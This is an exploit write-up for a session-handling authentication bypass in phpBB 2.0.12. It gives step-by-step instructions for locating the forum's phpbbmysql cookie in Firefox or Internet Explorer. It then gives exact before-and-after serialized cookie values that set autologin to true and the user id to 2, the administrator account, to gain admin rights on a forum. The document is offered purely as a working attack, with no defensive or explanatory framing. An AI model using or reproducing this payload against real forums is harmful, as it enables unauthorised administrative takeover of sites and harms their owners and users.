phpBB 2.0.12 Session Handling Authentication Bypass

[RedJoker]

1. Register at forum?

2. Log in with account

+ UNCHECK "Log in automatically"

3. Close browser to be sure a cookie is made.

4. Locate cookie

*firefox: X:\Documents and Settings\Name\Application

Data\Mozilla\Firefox\Profiles\profile.default\cookies.txt

--> search the .txt for the domainname (domain.tld)

--> default cookiename = phpbbmysql

*iexplorer: X:\Documents and Settings\Name\Cookies\Name@domain.tld

--> default cookiename = phpbbmysql

Let's Xploit!

________________

Open the cookie in a text editor and search a line that resembles:

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3B

s%3A6%3A%22userid%22%3Bs%3A1%3A%22X%22%3B%7D

|

[ your 'user id' ] ____|

Replace this with:

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3B

s%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

|

[ 2 = 'user id' of admin ] ____|

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

Save cookie and close.

Open your browser and surf to forum.

You'll now be automatically logged in having admin right